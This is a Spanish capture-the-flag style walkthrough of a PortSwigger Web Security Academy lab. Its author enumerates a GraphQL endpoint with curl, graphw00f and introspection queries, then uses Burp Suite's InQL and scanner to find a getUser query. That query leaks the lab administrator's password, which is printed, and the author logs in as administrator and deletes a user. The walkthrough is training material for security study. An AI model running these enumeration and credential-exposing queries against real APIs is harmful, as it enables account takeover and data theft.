Entrada

GraphQL API Vulnerabilities Lab 2

GraphQL API Vulnerabilities Lab 2

Skills

  • Accidental exposure of private GraphQL fields

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un endpoint GraphQL para gestionar las funciones de administración de usuarios. El laboratorio contiene una vulnerabilidad de control de acceso que nos permite inducir a la API a revelar los campos de credenciales de usuario. Para resolver el laboratorio, debemos iniciar sesión como administrador y eliminar al usuario carlos. Podemos loguearnos usando las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Los servicios GraphQL suelen utilizar endpoints similares a estos. En Hacktricks https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html#graphql se nos explica paso por paso la forma en la que debemos enumerar este servicio

1
2
3
4
5
/graphql  
/api  
/apigraphql  
/graphqlapi  
/graphqlgraphql

Si los endpoints anteriores no devuelven respuesta podemos añadirles /v1

1
2
3
4
5
/graphql/v1  
/api/v1  
/apigraphql/v1  
/graphqlapi/v1  
/graphqlgraphql/v1

Si hacemos una petición a un endpoint inexistente obtenemos esta respuesta

1
2
# curl https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/test
"Not Found" 

Sin embargo, si hacemos una consulta a un endpoint que si que exista recibiremos un mensaje como "query not present" o similar

1
2
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d "{}"
"Query not present"

Para comprobar que se trata de GraphQL podemos usar universal queries, si el content-type es x-www-form-urlencoded podemos usar este payload query{__typename} y si el content-type es application/json, debemos adaptar el payload a este otro {"query":"{__typename}"}. Cuando enviemos estos payloads se nos devolverá {"data": {"__typename": "query"}} en alguna parte de la respuesta. La consulta funciona porque cada endpoint de GraphQL tiene un campo reservado llamado __typename que devuelve el tipo del objeto consultado como una cadena

1
2
3
4
5
6
# curl -X POST https://0af40067035241d4829e65a9002f00a0.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__typename}"}'    
{
  "data": {
    "__typename": "query"
  }
}                                                       

En la mayoría de casos los endpoints en GraphQL solo aceptan peticiones POST con content-type de application/json porque esto ayuda a proteger contra vulnerabilidades de CSRF. Sin embargo, hay ocasiones en las que también acepta otros métodos, para comprobar esto deberíamos bruteforcear los endpoints para obtener que métodos son válidos. Puede darse el caso en el que acepte un content-type de x-www-form-urlencoded. La forma más sencilla de encontrar endpoints es observar las peticiones. Si recargamos la página y capturamos la petición vemos que se está empleando GraphQL

Una vez tenemos la ruta principal /graphql/v1 podemos usar la herramienta graphw00f https://github.com/dolevf/graphw00f.git para enumerar el servidor o motor que gestiona y procesa las consultas de GraphQL. Con esta herramienta también podemos hacer fuerza bruta para identificar la ruta principal de GraphQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# python main.py -f -t https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1

                +-------------------+
                |     graphw00f     |
                +-------------------+
                  ***            ***
                **                  **
              **                      **
    +--------------+              +--------------+
    |    Node X    |              |    Node Y    |
    +--------------+              +--------------+
                  ***            ***
                     **        **
                       **    **
                    +------------+
                    |   Node Z   |
                    +------------+

                graphw00f - v1.1.19
          The fingerprinting tool for GraphQL
           Dolev Farhi <dolev@lethalbit.com>
  
[*] Checking if GraphQL is available at https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1...
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (AWS AppSync)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/appsync.md
[!] Technologies: 
[!] Homepage: https://aws.amazon.com/appsync
[*] Completed.

Para enumerar información acerca del esquema vamos a usar la introspección. La introspección es una función integrada de GraphQL que permite consultar un servidor para obtener información sobre su esquema. La introspección nos ayuda a comprender cómo podemos interactuar con una API GraphQL. También puede revelar datos potencialmente confidenciales, como campos de descripción. Para saber si la introspección está habilitada podemos usamos esta query

1
2
3
4
5
6
7
8
9
10
# curl -s -X POST https://0aec00ce043258518801ff08004300de.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{queryType{name}}}"}' | jq 
{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      }
    }
  }
}

Mediante esta query podemos extraer todos los tipos, sus campos, sus argumentos y el tipo de los argumentos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
# curl -s -X POST https://0aa100db0496187480233a6c0081005d.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' | jq
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "BlogPost",
          "fields": [
            {
              "name": "id",
              "args": []
            },
            {
              "name": "image",
              "args": []
            },
            {
              "name": "title",
              "args": []
            },
            {
              "name": "author",
              "args": []
            },
            {
              "name": "date",
              "args": []
            },
            {
              "name": "summary",
              "args": []
            },
            {
              "name": "paragraphs",
              "args": []
            }
          ]
        },
        {
          "name": "Boolean",
          "fields": null
        },
        {
          "name": "ChangeEmailInput",
          "fields": null
        },
        {
          "name": "ChangeEmailResponse",
          "fields": [
            {
              "name": "email",
              "args": []
            }
          ]
        },
        {
          "name": "Int",
          "fields": null
        },
        {
          "name": "LoginInput",
          "fields": null
        },
        {
          "name": "LoginResponse",
          "fields": [
            {
              "name": "token",
              "args": []
            },
            {
              "name": "success",
              "args": []
            }
          ]
        },
        {
          "name": "String",
          "fields": null
        },
        {
          "name": "Timestamp",
          "fields": null
        },
        {
          "name": "User",
          "fields": [
            {
              "name": "id",
              "args": []
            },
            {
              "name": "username",
              "args": []
            },
            {
              "name": "password",
              "args": []
            }
          ]
        },
        {
          "name": "__Directive",
          "fields": [
            {
              "name": "name",
              "args": []
            },
            {
              "name": "description",
              "args": []
            },
            {
              "name": "isRepeatable",
              "args": []
            },
            {
              "name": "locations",
              "args": []
            },
            {
              "name": "args",
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "name": "Boolean",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            }
          ]
        },
        {
          "name": "__DirectiveLocation",
          "fields": null
        },
        {
          "name": "__EnumValue",
          "fields": [
            {
              "name": "name",
              "args": []
            },
            {
              "name": "description",
              "args": []
            },
            {
              "name": "isDeprecated",
              "args": []
            },
            {
              "name": "deprecationReason",
              "args": []
            }
          ]
        },
        {
          "name": "__Field",
          "fields": [
            {
              "name": "name",
              "args": []
            },
            {
              "name": "description",
              "args": []
            },
            {
              "name": "args",
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "name": "Boolean",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "type",
              "args": []
            },
            {
              "name": "isDeprecated",
              "args": []
            },
            {
              "name": "deprecationReason",
              "args": []
            }
          ]
        },
        {
          "name": "__InputValue",
          "fields": [
            {
              "name": "name",
              "args": []
            },
            {
              "name": "description",
              "args": []
            },
            {
              "name": "type",
              "args": []
            },
            {
              "name": "defaultValue",
              "args": []
            },
            {
              "name": "isDeprecated",
              "args": []
            },
            {
              "name": "deprecationReason",
              "args": []
            }
          ]
        },
        {
          "name": "__Schema",
          "fields": [
            {
              "name": "description",
              "args": []
            },
            {
              "name": "types",
              "args": []
            },
            {
              "name": "queryType",
              "args": []
            },
            {
              "name": "mutationType",
              "args": []
            },
            {
              "name": "directives",
              "args": []
            },
            {
              "name": "subscriptionType",
              "args": []
            }
          ]
        },
        {
          "name": "__Type",
          "fields": [
            {
              "name": "kind",
              "args": []
            },
            {
              "name": "name",
              "args": []
            },
            {
              "name": "description",
              "args": []
            },
            {
              "name": "fields",
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "name": "Boolean",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "interfaces",
              "args": []
            },
            {
              "name": "possibleTypes",
              "args": []
            },
            {
              "name": "enumValues",
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "name": "Boolean",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "inputFields",
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "name": "Boolean",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "ofType",
              "args": []
            },
            {
              "name": "specifiedByURL",
              "args": []
            }
          ]
        },
        {
          "name": "__TypeKind",
          "fields": null
        },
        {
          "name": "mutation",
          "fields": [
            {
              "name": "login",
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "name": "LoginInput",
                    "kind": "INPUT_OBJECT",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "changeEmail",
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "name": "ChangeEmailInput",
                    "kind": "INPUT_OBJECT",
                    "ofType": null
                  }
                }
              ]
            }
          ]
        },
        {
          "name": "query",
          "fields": [
            {
              "name": "getBlogPost",
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            },
            {
              "name": "getAllBlogPosts",
              "args": []
            },
            {
              "name": "getUser",
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "name": null,
                    "kind": "NON_NULL",
                    "ofType": {
                      "name": "Int",
                      "kind": "SCALAR"
                    }
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

Es interesante saber si se van a mostrar errores, ya que aportan información útil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{__schema}"}' | jq                                                                                   
{
  "errors": [
    {
      "extensions": {},
      "locations": [
        {
          "line": 1,
          "column": 2
        }
      ],
      "message": "Validation error (SubselectionRequired@[__schema]) : Subselection required for type '__Schema!' of field '__schema'"
    }
  ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{}"}' | jq        

{
  "errors": [
    {
      "locations": [
        {
          "line": 1,
          "column": 2
        }
      ],
      "message": "Invalid syntax with offending token '}' at line 1 column 2"
    }
  ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# curl -s -X POST https://0aee00a2035e51b583d7482b001d00d2.web-security-academy.net/graphql/v1 -H "Content-Type: application/json" -d '{"query":"{thisdefinitelydoesnotexist}"}' | jq

{
  "errors": [
    {
      "extensions": {},
      "locations": [
        {
          "line": 1,
          "column": 2
        }
      ],
      "message": "Validation error (FieldUndefined@[thisdefinitelydoesnotexist]) : Field 'thisdefinitelydoesnotexist' in type 'query' is undefined"
    }
  ]
}

Podemos obtener aún más información realizando una consulta de introspección completa sobre el endpoint, esto se hace para poder obtener la mayor cantidad de información posible del esquema. Este consulta devuelve detalles completos sobre todas las consultas, mutaciones, suscripciones, tipos y fragmentos. Si la introspección está habilitada pero la consulta no se ejecuta, debemos eliminar las directivas onOperation, onFragment y onField de la estructura de la consulta, esto se debe a que muchos endpoints no aceptan estas directivas como parte de una consulta de introspección

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#Full introspection query

query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
         ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
        }
        onOperation  #Often needs to be deleted to run query
        onFragment   #Often needs to be deleted to run query
        onField      #Often needs to be deleted to run query
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}

Para realizar la query anterior debemos refrescar la página, capturar la petición con Burpsuite, borrar estas tres líneas porque provocan un error, pinchar sobre la pestaña GraphQL y pegar ahí el código

1
2
3
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query

Podemos copiar las respuestas de las queries en graphql-visualizer http://nathanrandal.com/graphql-visualizer/ o en graphql-voyager https://graphql-kit.com/graphql-voyager/ para ver los resultados obtenidos de forma gráfica. En el caso de graphql-voyager debemos usar el payload que hay en la web. Los campos username y password son interesantes

También podemos llevar a cabo todo este proceso de forma automatizada con la extensión de Burpsuite InQL

El primer paso es capturar una petición, pulsar click derecho y Generate queries with InQL Scanner

Esto nos enviará a esta otra pestaña donde debemos pulsar Analyze

Una vez hecho esto obtendremos el esquema en JSON y las queries. Podemos copiar el contenido del JSON en https://graphql-kit.com/graphql-voyager/ para poder visualizar mejor los datos o podemos directamente hacer las queries nosotros mismos. Desde consola podemos usar InQL https://blog.doyensec.com/2020/03/26/graphql-scanner.html o GQLSpection https://github.com/doyensec/GQLSpection.git, la herramienta GQLSpection es la sucesora de InQL

Pulsamos sobre getUser.graphql

Nos copiamos la query, la pegamos, enviamos la petición y obtenemos las credenciales del usuario administrador. Debemos sustituir Int! por un número porque la query espera un input

Nos logueamos con las credenciales administrator:1csojfpwui4meu5r95yc

Hacemos click en Admin panel y eliminamos al usuario carlos

Otra forma alternativa sería usando el escáner de Burpsuite. En el schema hemos visto una función llamada getUser que es interesante, sin embargo, hemos probado todas las funciones que nos ofrece la web y al checkear las funciones empleadas mirando las peticiones desde el logger de Burpsuite no hemos encontrado ninguna llamada getUser. En este caso, podemos usar el escáner de Burpsuite, en mi caso uso Deep Scan. Para ello debemos acceder a Target > Site map > click derecho sobre la url > Open scan launcher > Deep

Gracias al escaneo, obtenemos la query que emplea getUser

Enviamos esta petición al Repeater, sustituimos el valor de la variable por 1 y obtenemos la contraseña del usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.